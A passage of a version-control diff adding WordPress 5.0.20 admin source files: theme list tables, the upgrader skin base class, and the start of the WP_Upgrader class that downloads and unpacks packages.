+					echo '<a class="theme-install button button-primary" href="' . esc_url( wp_nonce_url( $update_url, 'upgrade-theme_' . $theme->slug ) ) . '" title="' . esc_attr( sprintf( __( 'Update to version %s' ), $theme->version ) ) . '">' . __( 'Update' ) . '</a>';
+					break;
+				case 'newer_installed':
+				case 'latest_installed':
+					echo '<span class="theme-install" title="' . esc_attr__( 'This theme is already installed and is up to date' ) . '">' . _x( 'Installed', 'theme' ) . '</span>';
+					break;
+				case 'install':
+				default:
+					echo '<a class="theme-install button button-primary" href="' . esc_url( wp_nonce_url( $install_url, 'install-theme_' . $theme->slug ) ) . '">' . __( 'Install' ) . '</a>';
+					break;
+			} ?>
+			<h3 class="theme-name"><?php echo $name; ?></h3>
+			<span class="theme-by"><?php printf( __( 'By %s' ), $author ); ?></span>
+			<?php if ( isset( $theme->screenshot_url ) ): ?>
+				<img class="theme-screenshot" src="<?php echo esc_url( $theme->screenshot_url ); ?>" alt="" />
+			<?php endif; ?>
+			<div class="theme-details">
+				<?php wp_star_rating( array( 'rating' => $theme->rating, 'type' => 'percent', 'number' => $theme->num_ratings ) ); ?>
+				<div class="theme-version">
+					<strong><?php _e('Version:') ?> </strong>
+					<?php echo wp_kses( $theme->version, $themes_allowedtags ); ?>
+				</div>
+				<div class="theme-description">
+					<?php echo wp_kses( $theme->description, $themes_allowedtags ); ?>
+				</div>
+			</div>
+			<input class="theme-preview-url" type="hidden" value="<?php echo esc_url( $theme->preview_url ); ?>" />
+		</div>
+		<?php
+	}
+
+	/**
+	 * Send required variables to JavaScript land
+	 *
+	 * @since 3.4.0
+	 *
+	 * @global string $tab  Current tab within Themes->Install screen
+	 * @global string $type Type of search.
+	 *
+	 * @param array $extra_args Unused.
+	 */
+	public function _js_vars( $extra_args = array() ) {
+		global $tab, $type;
+		parent::_js_vars( compact( 'tab', 'type' ) );
+	}
+
+	/**
+	 * Check to see if the theme is already installed.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param object $theme - A WordPress.org Theme API object.
+	 * @return string Theme status.
+	 */
+	private function _get_theme_status( $theme ) {
+		$status = 'install';
+
+		$installed_theme = wp_get_theme( $theme->slug );
+		if ( $installed_theme->exists() ) {
+			if ( version_compare( $installed_theme->get('Version'), $theme->version, '=' ) )
+				$status = 'latest_installed';
+			elseif ( version_compare( $installed_theme->get('Version'), $theme->version, '>' ) )
+				$status = 'newer_installed';
+			else
+				$status = 'update_available';
+		}
+
+		return $status;
+	}
+}
Index: /tags/5.0.20/src/wp-admin/includes/class-wp-themes-list-table.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/class-wp-themes-list-table.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/class-wp-themes-list-table.php	(revision 56912)
@@ -0,0 +1,302 @@
+<?php
+/**
+ * List Table API: WP_Themes_List_Table class
+ *
+ * @package WordPress
+ * @subpackage Administration
+ * @since 3.1.0
+ */
+
+/**
+ * Core class used to implement displaying installed themes in a list table.
+ *
+ * @since 3.1.0
+ * @access private
+ *
+ * @see WP_List_Table
+ */
+class WP_Themes_List_Table extends WP_List_Table {
+
+	protected $search_terms = array();
+	public $features = array();
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @see WP_List_Table::__construct() for more information on default arguments.
+	 *
+	 * @param array $args An associative array of arguments.
+	 */
+	public function __construct( $args = array() ) {
+		parent::__construct( array(
+			'ajax' => true,
+			'screen' => isset( $args['screen'] ) ? $args['screen'] : null,
+		) );
+	}
+
+	/**
+	 *
+	 * @return bool
+	 */
+	public function ajax_user_can() {
+		// Do not check edit_theme_options here. Ajax calls for available themes require switch_themes.
+		return current_user_can( 'switch_themes' );
+	}
+
+	/**
+	 */
+	public function prepare_items() {
+		$themes = wp_get_themes( array( 'allowed' => true ) );
+
+		if ( ! empty( $_REQUEST['s'] ) )
+			$this->search_terms = array_unique( array_filter( array_map( 'trim', explode( ',', strtolower( wp_unslash( $_REQUEST['s'] ) ) ) ) ) );
+
+		if ( ! empty( $_REQUEST['features'] ) )
+			$this->features = $_REQUEST['features'];
+
+		if ( $this->search_terms || $this->features ) {
+			foreach ( $themes as $key => $theme ) {
+				if ( ! $this->search_theme( $theme ) )
+					unset( $themes[ $key ] );
+			}
+		}
+
+		unset( $themes[ get_option( 'stylesheet' ) ] );
+		WP_Theme::sort_by_name( $themes );
+
+		$per_page = 36;
+		$page = $this->get_pagenum();
+
+		$start = ( $page - 1 ) * $per_page;
+
+		$this->items = array_slice( $themes, $start, $per_page, true );
+
+		$this->set_pagination_args( array(
+			'total_items' => count( $themes ),
+			'per_page' => $per_page,
+			'infinite_scroll' => true,
+		) );
+	}
+
+	/**
+	 */
+	public function no_items() {
+		if ( $this->search_terms || $this->features ) {
+			_e( 'No items found.' );
+			return;
+		}
+
+		$blog_id = get_current_blog_id();
+		if ( is_multisite() ) {
+			if ( current_user_can( 'install_themes' ) && current_user_can( 'manage_network_themes' ) ) {
+				printf( __( 'You only have one theme enabled for this site right now. Visit the Network Admin to <a href="%1$s">enable</a> or <a href="%2$s">install</a> more themes.' ), network_admin_url( 'site-themes.php?id=' . $blog_id ), network_admin_url( 'theme-install.php' ) );
+
+				return;
+			} elseif ( current_user_can( 'manage_network_themes' ) ) {
+				printf( __( 'You only have one theme enabled for this site right now. Visit the Network Admin to <a href="%1$s">enable</a> more themes.' ), network_admin_url( 'site-themes.php?id=' . $blog_id ) );
+
+				return;
+			}
+			// Else, fallthrough. install_themes doesn't help if you can't enable it.
+		} else {
+			if ( current_user_can( 'install_themes' ) ) {
+				printf( __( 'You only have one theme installed right now. Live a little! You can choose from over 1,000 free themes in the WordPress Theme Directory at any time: just click on the <a href="%s">Install Themes</a> tab above.' ), admin_url( 'theme-install.php' ) );
+
+				return;
+			}
+		}
+		// Fallthrough.
+		printf( __( 'Only the current theme is available to you. Contact the %s administrator for information about accessing additional themes.' ), get_site_option( 'site_name' ) );
+	}
+
+	/**
+	 * @param string $which
+	 */
+	public function tablenav( $which = 'top' ) {
+		if ( $this->get_pagination_arg( 'total_pages' ) <= 1 )
+			return;
+		?>
+		<div class="tablenav themes <?php echo $which; ?>">
+			<?php $this->pagination( $which ); ?>
+			<span class="spinner"></span>
+			<br class="clear" />
+		</div>
+		<?php
+	}
+
+	/**
+	 */
+	public function display() {
+		wp_nonce_field( "fetch-list-" . get_class( $this ), '_ajax_fetch_list_nonce' );
+?>
+		<?php $this->tablenav( 'top' ); ?>
+
+		<div id="availablethemes">
+			<?php $this->display_rows_or_placeholder(); ?>
+		</div>
+
+		<?php $this->tablenav( 'bottom' ); ?>
+<?php
+	}
+
+	/**
+	 *
+	 * @return array
+	 */
+	public function get_columns() {
+		return array();
+	}
+
+	/**
+	 */
+	public function display_rows_or_placeholder() {
+		if ( $this->has_items() ) {
+			$this->display_rows();
+		} else {
+			echo '<div class="no-items">';
+			$this->no_items();
+			echo '</div>';
+		}
+	}
+
+	/**
+	 */
+	public function display_rows() {
+		$themes = $this->items;
+
+		foreach ( $themes as $theme ):
+			?><div class="available-theme"><?php
+
+			$template   = $theme->get_template();
+			$stylesheet = $theme->get_stylesheet();
+			$title      = $theme->display('Name');
+			$version    = $theme->display('Version');
+			$author     = $theme->display('Author');
+
+			$activate_link = wp_nonce_url( "themes.php?action=activate&amp;template=" . urlencode( $template ) . "&amp;stylesheet=" . urlencode( $stylesheet ), 'switch-theme_' . $stylesheet );
+
+			$actions = array();
+			$actions['activate'] = '<a href="' . $activate_link . '" class="activatelink" title="'
+				. esc_attr( sprintf( __( 'Activate &#8220;%s&#8221;' ), $title ) ) . '">' . __( 'Activate' ) . '</a>';
+
+			if ( current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) {
+				$actions['preview'] .= '<a href="' . wp_customize_url( $stylesheet ) . '" class="load-customize hide-if-no-customize">'
+					. __( 'Live Preview' ) . '</a>';
+			}
+
+			if ( ! is_multisite() && current_user_can( 'delete_themes' ) )
+				$actions['delete'] = '<a class="submitdelete deletion" href="' . wp_nonce_url( 'themes.php?action=delete&amp;stylesheet=' . urlencode( $stylesheet ), 'delete-theme_' . $stylesheet )
+					. '" onclick="' . "return confirm( '" . esc_js( sprintf( __( "You are about to delete this theme '%s'\n  'Cancel' to stop, 'OK' to delete." ), $title ) )
+					. "' );" . '">' . __( 'Delete' ) . '</a>';
+
+			/** This filter is documented in wp-admin/includes/class-wp-ms-themes-list-table.php */
+			$actions       = apply_filters( 'theme_action_links', $actions, $theme, 'all' );
+
+			/** This filter is documented in wp-admin/includes/class-wp-ms-themes-list-table.php */
+			$actions       = apply_filters( "theme_action_links_$stylesheet", $actions, $theme, 'all' );
+			$delete_action = isset( $actions['delete'] ) ? '<div class="delete-theme">' . $actions['delete'] . '</div>' : '';
+			unset( $actions['delete'] );
+
+			?>
+
+			<span class="screenshot hide-if-customize">
+				<?php if ( $screenshot = $theme->get_screenshot() ) : ?>
+					<img src="<?php echo esc_url( $screenshot ); ?>" alt="" />
+				<?php endif; ?>
+			</span>
+			<a href="<?php echo wp_customize_url( $stylesheet ); ?>" class="screenshot load-customize hide-if-no-customize">
+				<?php if ( $screenshot = $theme->get_screenshot() ) : ?>
+					<img src="<?php echo esc_url( $screenshot ); ?>" alt="" />
+				<?php endif; ?>
+			</a>
+
+			<h3><?php echo $title; ?></h3>
+			<div class="theme-author"><?php printf( __( 'By %s' ), $author ); ?></div>
+			<div class="action-links">
+				<ul>
+					<?php foreach ( $actions as $action ): ?>
+						<li><?php echo $action; ?></li>
+					<?php endforeach; ?>
+					<li class="hide-if-no-js"><a href="#" class="theme-detail"><?php _e('Details') ?></a></li>
+				</ul>
+				<?php echo $delete_action; ?>
+
+				<?php theme_update_available( $theme ); ?>
+			</div>
+
+			<div class="themedetaildiv hide-if-js">
+				<p><strong><?php _e('Version:'); ?></strong> <?php echo $version; ?></p>
+				<p><?php echo $theme->display('Description'); ?></p>
+				<?php if ( $theme->parent() ) {
+					printf( ' <p class="howto">' . __( 'This <a href="%1$s">child theme</a> requires its parent theme, %2$s.' ) . '</p>',
+						__( 'https://codex.wordpress.org/Child_Themes' ),
+						$theme->parent()->display( 'Name' ) );
+				} ?>
+			</div>
+
+			</div>
+		<?php
+		endforeach;
+	}
+
+	/**
+	 * @param WP_Theme $theme
+	 * @return bool
+	 */
+	public function search_theme( $theme ) {
+		// Search the features
+		foreach ( $this->features as $word ) {
+			if ( ! in_array( $word, $theme->get('Tags') ) )
+				return false;
+		}
+
+		// Match all phrases
+		foreach ( $this->search_terms as $word ) {
+			if ( in_array( $word, $theme->get('Tags') ) )
+				continue;
+
+			foreach ( array( 'Name', 'Description', 'Author', 'AuthorURI' ) as $header ) {
+				// Don't mark up; Do translate.
+				if ( false !== stripos( strip_tags( $theme->display( $header, false, true ) ), $word ) ) {
+					continue 2;
+				}
+			}
+
+			if ( false !== stripos( $theme->get_stylesheet(), $word ) )
+				continue;
+
+			if ( false !== stripos( $theme->get_template(), $word ) )
+				continue;
+
+			return false;
+		}
+
+		return true;
+	}
+
+	/**
+	 * Send required variables to JavaScript land
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param array $extra_args
+	 */
+	public function _js_vars( $extra_args = array() ) {
+		$search_string = isset( $_REQUEST['s'] ) ? esc_attr( wp_unslash( $_REQUEST['s'] ) ) : '';
+
+		$args = array(
+			'search' => $search_string,
+			'features' => $this->features,
+			'paged' => $this->get_pagenum(),
+			'total_pages' => ! empty( $this->_pagination_args['total_pages'] ) ? $this->_pagination_args['total_pages'] : 1,
+		);
+
+		if ( is_array( $extra_args ) )
+			$args = array_merge( $args, $extra_args );
+
+		printf( "<script type='text/javascript'>var theme_list_args = %s;</script>\n", wp_json_encode( $args ) );
+		parent::_js_vars();
+	}
+}
Index: /tags/5.0.20/src/wp-admin/includes/class-wp-upgrader-skin.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/class-wp-upgrader-skin.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/class-wp-upgrader-skin.php	(revision 56912)
@@ -0,0 +1,203 @@
+<?php
+/**
+ * Upgrader API: WP_Upgrader_Skin class
+ *
+ * @package WordPress
+ * @subpackage Upgrader
+ * @since 4.6.0
+ */
+
+/**
+ * Generic Skin for the WordPress Upgrader classes. This skin is designed to be extended for specific purposes.
+ *
+ * @since 2.8.0
+ * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader-skins.php.
+ */
+class WP_Upgrader_Skin {
+
+	public $upgrader;
+	public $done_header = false;
+	public $done_footer = false;
+
+	/**
+	 * Holds the result of an upgrade.
+	 *
+	 * @since 2.8.0
+	 * @var string|bool|WP_Error
+	 */
+	public $result = false;
+	public $options = array();
+
+	/**
+	 *
+	 * @param array $args
+	 */
+	public function __construct($args = array()) {
+		$defaults = array( 'url' => '', 'nonce' => '', 'title' => '', 'context' => false );
+		$this->options = wp_parse_args($args, $defaults);
+	}
+
+	/**
+	 *
+	 * @param WP_Upgrader $upgrader
+	 */
+	public function set_upgrader(&$upgrader) {
+		if ( is_object($upgrader) )
+			$this->upgrader =& $upgrader;
+		$this->add_strings();
+	}
+
+	/**
+	 */
+	public function add_strings() {
+	}
+
+	/**
+	 * Sets the result of an upgrade.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string|bool|WP_Error $result The result of an upgrade.
+	 */
+	public function set_result( $result ) {
+		$this->result = $result;
+	}
+
+	/**
+	 * Displays a form to the user to request for their FTP/SSH details in order
+	 * to connect to the filesystem.
+	 *
+	 * @since 2.8.0
+	 * @since 4.6.0 The `$context` parameter default changed from `false` to an empty string.
+	 *
+	 * @see request_filesystem_credentials()
+	 *
+	 * @param bool   $error                        Optional. Whether the current request has failed to connect.
+	 *                                             Default false.
+	 * @param string $context                      Optional. Full path to the directory that is tested
+	 *                                             for being writable. Default empty.
+	 * @param bool   $allow_relaxed_file_ownership Optional. Whether to allow Group/World writable. Default false.
+	 * @return bool False on failure, true on success.
+	 */
+	public function request_filesystem_credentials( $error = false, $context = '', $allow_relaxed_file_ownership = false ) {
+		$url = $this->options['url'];
+		if ( ! $context ) {
+			$context = $this->options['context'];
+		}
+		if ( !empty($this->options['nonce']) ) {
+			$url = wp_nonce_url($url, $this->options['nonce']);
+		}
+
+		$extra_fields = array();
+
+		return request_filesystem_credentials( $url, '', $error, $context, $extra_fields, $allow_relaxed_file_ownership );
+	}
+
+	/**
+	 */
+	public function header() {
+		if ( $this->done_header ) {
+			return;
+		}
+		$this->done_header = true;
+		echo '<div class="wrap">';
+		echo '<h1>' . $this->options['title'] . '</h1>';
+	}
+
+	/**
+	 */
+	public function footer() {
+		if ( $this->done_footer ) {
+			return;
+		}
+		$this->done_footer = true;
+		echo '</div>';
+	}
+
+	/**
+	 *
+	 * @param string|WP_Error $errors
+	 */
+	public function error($errors) {
+		if ( ! $this->done_header )
+			$this->header();
+		if ( is_string($errors) ) {
+			$this->feedback($errors);
+		} elseif ( is_wp_error($errors) && $errors->get_error_code() ) {
+			foreach ( $errors->get_error_messages() as $message ) {
+				if ( $errors->get_error_data() && is_string( $errors->get_error_data() ) )
+					$this->feedback($message . ' ' . esc_html( strip_tags( $errors->get_error_data() ) ) );
+				else
+					$this->feedback($message);
+			}
+		}
+	}
+
+	/**
+	 *
+	 * @param string $string
+	 */
+	public function feedback($string) {
+		if ( isset( $this->upgrader->strings[$string] ) )
+			$string = $this->upgrader->strings[$string];
+
+		if ( strpos($string, '%') !== false ) {
+			$args = func_get_args();
+			$args = array_splice($args, 1);
+			if ( $args ) {
+				$args = array_map( 'strip_tags', $args );
+				$args = array_map( 'esc_html', $args );
+				$string = vsprintf($string, $args);
+			}
+		}
+		if ( empty($string) )
+			return;
+		show_message($string);
+	}
+
+	/**
+	 */
+	public function before() {}
+
+	/**
+	 */
+	public function after() {}
+
+	/**
+	 * Output JavaScript that calls function to decrement the update counts.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @param string $type Type of update count to decrement. Likely values include 'plugin',
+	 *                     'theme', 'translation', etc.
+	 */
+	protected function decrement_update_count( $type ) {
+		if ( ! $this->result || is_wp_error( $this->result ) || 'up_to_date' === $this->result ) {
+			return;
+		}
+
+		if ( defined( 'IFRAME_REQUEST' ) ) {
+			echo '<script type="text/javascript">
+					if ( window.postMessage && JSON ) {
+						window.parent.postMessage( JSON.stringify( { action: "decrementUpdateCount", upgradeType: "' . $type . '" } ), window.location.protocol + "//" + window.location.hostname );
+					}
+				</script>';
+		} else {
+			echo '<script type="text/javascript">
+					(function( wp ) {
+						if ( wp && wp.updates.decrementCount ) {
+							wp.updates.decrementCount( "' . $type . '" );
+						}
+					})( window.wp );
+				</script>';
+		}
+	}
+
+	/**
+	 */
+	public function bulk_header() {}
+
+	/**
+	 */
+	public function bulk_footer() {}
+}
Index: /tags/5.0.20/src/wp-admin/includes/class-wp-upgrader-skins.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/class-wp-upgrader-skins.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/class-wp-upgrader-skins.php	(revision 56912)
@@ -0,0 +1,43 @@
+<?php
+/**
+ * The User Interface "Skins" for the WordPress File Upgrader
+ *
+ * @package WordPress
+ * @subpackage Upgrader
+ * @since 2.8.0
+ */
+
+_deprecated_file( basename( __FILE__ ), '4.7.0', 'class-wp-upgrader.php' );
+
+/** WP_Upgrader_Skin class */
+require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader-skin.php';
+
+/** Plugin_Upgrader_Skin class */
+require_once ABSPATH . 'wp-admin/includes/class-plugin-upgrader-skin.php';
+
+/** Theme_Upgrader_Skin class */
+require_once ABSPATH . 'wp-admin/includes/class-theme-upgrader-skin.php';
+
+/** Bulk_Upgrader_Skin class */
+require_once ABSPATH . 'wp-admin/includes/class-bulk-upgrader-skin.php';
+
+/** Bulk_Plugin_Upgrader_Skin class */
+require_once ABSPATH . 'wp-admin/includes/class-bulk-plugin-upgrader-skin.php';
+
+/** Bulk_Theme_Upgrader_Skin class */
+require_once ABSPATH . 'wp-admin/includes/class-bulk-theme-upgrader-skin.php';
+
+/** Plugin_Installer_Skin class */
+require_once ABSPATH . 'wp-admin/includes/class-plugin-installer-skin.php';
+
+/** Theme_Installer_Skin class */
+require_once ABSPATH . 'wp-admin/includes/class-theme-installer-skin.php';
+
+/** Language_Pack_Upgrader_Skin class */
+require_once ABSPATH . 'wp-admin/includes/class-language-pack-upgrader-skin.php';
+
+/** Automatic_Upgrader_Skin class */
+require_once ABSPATH . 'wp-admin/includes/class-automatic-upgrader-skin.php';
+
+/** WP_Ajax_Upgrader_Skin class */
+require_once ABSPATH . 'wp-admin/includes/class-wp-ajax-upgrader-skin.php';
Index: /tags/5.0.20/src/wp-admin/includes/class-wp-upgrader.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/class-wp-upgrader.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/class-wp-upgrader.php	(revision 56912)
@@ -0,0 +1,906 @@
+<?php
+/**
+ * Upgrade API: WP_Upgrader class
+ *
+ * Requires skin classes and WP_Upgrader subclasses for backward compatibility.
+ *
+ * @package WordPress
+ * @subpackage Upgrader
+ * @since 2.8.0
+ */
+
+/** WP_Upgrader_Skin class */
+require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader-skin.php';
+
+/** Plugin_Upgrader_Skin class */
+require_once ABSPATH . 'wp-admin/includes/class-plugin-upgrader-skin.php';
+
+/** Theme_Upgrader_Skin class */
+require_once ABSPATH . 'wp-admin/includes/class-theme-upgrader-skin.php';
+
+/** Bulk_Upgrader_Skin class */
+require_once ABSPATH . 'wp-admin/includes/class-bulk-upgrader-skin.php';
+
+/** Bulk_Plugin_Upgrader_Skin class */
+require_once ABSPATH . 'wp-admin/includes/class-bulk-plugin-upgrader-skin.php';
+
+/** Bulk_Theme_Upgrader_Skin class */
+require_once ABSPATH . 'wp-admin/includes/class-bulk-theme-upgrader-skin.php';
+
+/** Plugin_Installer_Skin class */
+require_once ABSPATH . 'wp-admin/includes/class-plugin-installer-skin.php';
+
+/** Theme_Installer_Skin class */
+require_once ABSPATH . 'wp-admin/includes/class-theme-installer-skin.php';
+
+/** Language_Pack_Upgrader_Skin class */
+require_once ABSPATH . 'wp-admin/includes/class-language-pack-upgrader-skin.php';
+
+/** Automatic_Upgrader_Skin class */
+require_once ABSPATH . 'wp-admin/includes/class-automatic-upgrader-skin.php';
+
+/** WP_Ajax_Upgrader_Skin class */
+require_once ABSPATH . 'wp-admin/includes/class-wp-ajax-upgrader-skin.php';
+
+/**
+ * Core class used for upgrading/installing a local set of files via
+ * the Filesystem Abstraction classes from a Zip file.
+ *
+ * @since 2.8.0
+ */
+class WP_Upgrader {
+
+	/**
+	 * The error/notification strings used to update the user on the progress.
+	 *
+	 * @since 2.8.0
+	 * @var array $strings
+	 */
+	public $strings = array();
+
+	/**
+	 * The upgrader skin being used.
+	 *
+	 * @since 2.8.0
+	 * @var Automatic_Upgrader_Skin|WP_Upgrader_Skin $skin
+	 */
+	public $skin = null;
+
+	/**
+	 * The result of the installation.
+	 *
+	 * This is set by WP_Upgrader::install_package(), only when the package is installed
+	 * successfully. It will then be an array, unless a WP_Error is returned by the
+	 * {@see 'upgrader_post_install'} filter. In that case, the WP_Error will be assigned to
+	 * it.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @var WP_Error|array $result {
+	 *      @type string $source             The full path to the source the files were installed from.
+	 *      @type string $source_files       List of all the files in the source directory.
+	 *      @type string $destination        The full path to the installation destination folder.
+	 *      @type string $destination_name   The name of the destination folder, or empty if `$destination`
+	 *                                       and `$local_destination` are the same.
+	 *      @type string $local_destination  The full local path to the destination folder. This is usually
+	 *                                       the same as `$destination`.
+	 *      @type string $remote_destination The full remote path to the destination folder
+	 *                                       (i.e., from `$wp_filesystem`).
+	 *      @type bool   $clear_destination  Whether the destination folder was cleared.
+	 * }
+	 */
+	public $result = array();
+
+	/**
+	 * The total number of updates being performed.
+	 *
+	 * Set by the bulk update methods.
+	 *
+	 * @since 3.0.0
+	 * @var int $update_count
+	 */
+	public $update_count = 0;
+
+	/**
+	 * The current update if multiple updates are being performed.
+	 *
+	 * Used by the bulk update methods, and incremented for each update.
+	 *
+	 * @since 3.0.0
+	 * @var int
+	 */
+	public $update_current = 0;
+
+	/**
+	 * Construct the upgrader with a skin.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param WP_Upgrader_Skin $skin The upgrader skin to use. Default is a WP_Upgrader_Skin.
+	 *                               instance.
+	 */
+	public function __construct( $skin = null ) {
+		if ( null == $skin )
+			$this->skin = new WP_Upgrader_Skin();
+		else
+			$this->skin = $skin;
+	}
+
+	/**
+	 * Initialize the upgrader.
+	 *
+	 * This will set the relationship between the skin being used and this upgrader,
+	 * and also add the generic strings to `WP_Upgrader::$strings`.
+	 *
+	 * @since 2.8.0
+	 */
+	public function init() {
+		$this->skin->set_upgrader($this);
+		$this->generic_strings();
+	}
+
+	/**
+	 * Add the generic strings to WP_Upgrader::$strings.
+	 *
+	 * @since 2.8.0
+	 */
+	public function generic_strings() {
+		$this->strings['bad_request'] = __('Invalid data provided.');
+		$this->strings['fs_unavailable'] = __('Could not access filesystem.');
+		$this->strings['fs_error'] = __('Filesystem error.');
+		$this->strings['fs_no_root_dir'] = __('Unable to locate WordPress root directory.');
+		$this->strings['fs_no_content_dir'] = __('Unable to locate WordPress content directory (wp-content).');
+		$this->strings['fs_no_plugins_dir'] = __('Unable to locate WordPress plugin directory.');
+		$this->strings['fs_no_themes_dir'] = __('Unable to locate WordPress theme directory.');
+		/* translators: %s: directory name */
+		$this->strings['fs_no_folder'] = __('Unable to locate needed folder (%s).');
+
+		$this->strings['download_failed'] = __('Download failed.');
+		$this->strings['installing_package'] = __('Installing the latest version&#8230;');
+		$this->strings['no_files'] = __('The package contains no files.');
+		$this->strings['folder_exists'] = __('Destination folder already exists.');
+		$this->strings['mkdir_failed'] = __('Could not create directory.');
+		$this->strings['incompatible_archive'] = __('The package could not be installed.');
+		$this->strings['files_not_writable'] = __( 'The update cannot be installed because we will be unable to copy some files. This is usually due to inconsistent file permissions.' );
+
+		$this->strings['maintenance_start'] = __('Enabling Maintenance mode&#8230;');
+		$this->strings['maintenance_end'] = __('Disabling Maintenance mode&#8230;');
+	}
+
+	/**
+	 * Connect to the filesystem.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @global WP_Filesystem_Base $wp_filesystem Subclass
+	 *
+	 * @param array $directories                  Optional. A list of directories. If any of these do
+	 *                                            not exist, a WP_Error object will be returned.
+	 *                                            Default empty array.
+	 * @param bool  $allow_relaxed_file_ownership Whether to allow relaxed file ownership.
+	 *                                            Default false.
+	 * @return bool|WP_Error True if able to connect, false or a WP_Error otherwise.
+	 */
+	public function fs_connect( $directories = array(), $allow_relaxed_file_ownership = false ) {
+		global $wp_filesystem;
+
+		if ( false === ( $credentials = $this->skin->request_filesystem_credentials( false, $directories[0], $allow_relaxed_file_ownership ) ) ) {
+			return false;
+		}
+
+		if ( ! WP_Filesystem( $credentials, $directories[0], $allow_relaxed_file_ownership ) ) {
+			$error = true;
+			if ( is_object($wp_filesystem) && $wp_filesystem->errors->get_error_code() )
+				$error = $wp_filesystem->errors;
+			// Failed to connect, Error and request again
+			$this->skin->request_filesystem_credentials( $error, $directories[0], $allow_relaxed_file_ownership );
+			return false;
+		}
+
+		if ( ! is_object($wp_filesystem) )
+			return new WP_Error('fs_unavailable', $this->strings['fs_unavailable'] );
+
+		if ( is_wp_error($wp_filesystem->errors) && $wp_filesystem->errors->get_error_code() )
+			return new WP_Error('fs_error', $this->strings['fs_error'], $wp_filesystem->errors);
+
+		foreach ( (array)$directories as $dir ) {
+			switch ( $dir ) {
+				case ABSPATH:
+					if ( ! $wp_filesystem->abspath() )
+						return new WP_Error('fs_no_root_dir', $this->strings['fs_no_root_dir']);
+					break;
+				case WP_CONTENT_DIR:
+					if ( ! $wp_filesystem->wp_content_dir() )
+						return new WP_Error('fs_no_content_dir', $this->strings['fs_no_content_dir']);
+					break;
+				case WP_PLUGIN_DIR:
+					if ( ! $wp_filesystem->wp_plugins_dir() )
+						return new WP_Error('fs_no_plugins_dir', $this->strings['fs_no_plugins_dir']);
+					break;
+				case get_theme_root():
+					if ( ! $wp_filesystem->wp_themes_dir() )
+						return new WP_Error('fs_no_themes_dir', $this->strings['fs_no_themes_dir']);
+					break;
+				default:
+					if ( ! $wp_filesystem->find_folder($dir) )
+						return new WP_Error( 'fs_no_folder', sprintf( $this->strings['fs_no_folder'], esc_html( basename( $dir ) ) ) );
+					break;
+			}
+		}
+		return true;
+	} //end fs_connect();
+
+	/**
+	 * Download a package.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string $package The URI of the package. If this is the full path to an
+	 *                        existing local file, it will be returned untouched.
+	 * @return string|WP_Error The full path to the downloaded package file, or a WP_Error object.
+	 */
+	public function download_package( $package ) {
+
+		/**
+		 * Filters whether to return the package.
+		 *
+		 * @since 3.7.0
+		 *
+		 * @param bool        $reply   Whether to bail without returning the package.
+		 *                             Default false.
+		 * @param string      $package The package file name.
+		 * @param WP_Upgrader $this    The WP_Upgrader instance.
+		 */
+		$reply = apply_filters( 'upgrader_pre_download', false, $package, $this );
+		if ( false !== $reply )
+			return $reply;
+
+		if ( ! preg_match('!^(http|https|ftp)://!i', $package) && file_exists($package) ) //Local file or remote?
+			return $package; //must be a local file..
+
+		if ( empty($package) )
+			return new WP_Error('no_package', $this->strings['no_package']);
+
+		$this->skin->feedback('downloading_package', $package);
+
+		$download_file = download_url($package);
+
+		if ( is_wp_error($download_file) )
+			return new WP_Error('download_failed', $this->strings['download_failed'], $download_file->get_error_message());
+
+		return $download_file;
+	}
+
+	/**
+	 * Unpack a compressed package file.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @global WP_Filesystem_Base $wp_filesystem Subclass
+	 *
+	 * @param string $package        Full path to the package file.
+	 * @param bool   $delete_package Optional. Whether to delete the package file after attempting
+	 *                               to unpack it. Default true.
+	 * @return string|WP_Error The path to the unpacked contents, or a WP_Error on failure.
+	 */
+	public function unpack_package( $package, $delete_package = true ) {
+		global $wp_filesystem;
+
+		$this->skin->feedback('unpack_package');
+
+		$upgrade_folder = $wp_filesystem->wp_content_dir() . 'upgrade/';
+
+		//Clean up contents of upgrade directory beforehand.
+		$upgrade_files = $wp_filesystem->dirlist($upgrade_folder);
+		if ( !empty($upgrade_files) ) {
+			foreach ( $upgrade_files as $file )
+				$wp_filesystem->delete($upgrade_folder . $file['name'], true);
+		}
+
+		// We need a working directory - Strip off any .tmp or .zip suffixes
+		$working_dir = $upgrade_folder . basename( basename( $package, '.tmp' ), '.zip' );
+
+		// Clean up working directory
+		if ( $wp_filesystem->is_dir($working_dir) )
+			$wp_filesystem->delete($working_dir, true);
+
+		// Unzip package to working directory
+		$result = unzip_file( $package, $working_dir );
+
+		// Once extracted, delete the package if required.
+		if ( $delete_package )
+			unlink($package);
+
+		if ( is_wp_error($result) ) {
+			$wp_filesystem->delete($working_dir, true);
+			if ( 'incompatible_archive' == $result->get_error_code() ) {
+				return new WP_Error( 'incompatible_archive', $this->strings['incompatible_archive'], $result->get_error_data() );
+			}
+			return $result;
+		}
+
+		return $working_dir;
+	}
+
+	/**
+	 * Flatten the results of WP_Filesystem::dirlist() for iterating over.
+	 *
+	 * @since 4.9.0
+	 * @access protected
+	 *
+	 * @param  array  $nested_files  Array of files as returned by WP_Filesystem::dirlist()
+	 * @param  string $path          Relative path to prepend to child nodes. Optional.
+	 * @return array $files A flattened array of the $nested_files specified.
+	 */
+	protected function flatten_dirlist( $nested_files, $path = '' ) {
+		$files = array();
+
+		foreach ( $nested_files as $name => $details ) {
+			$files[ $path . $name ] = $details;
+
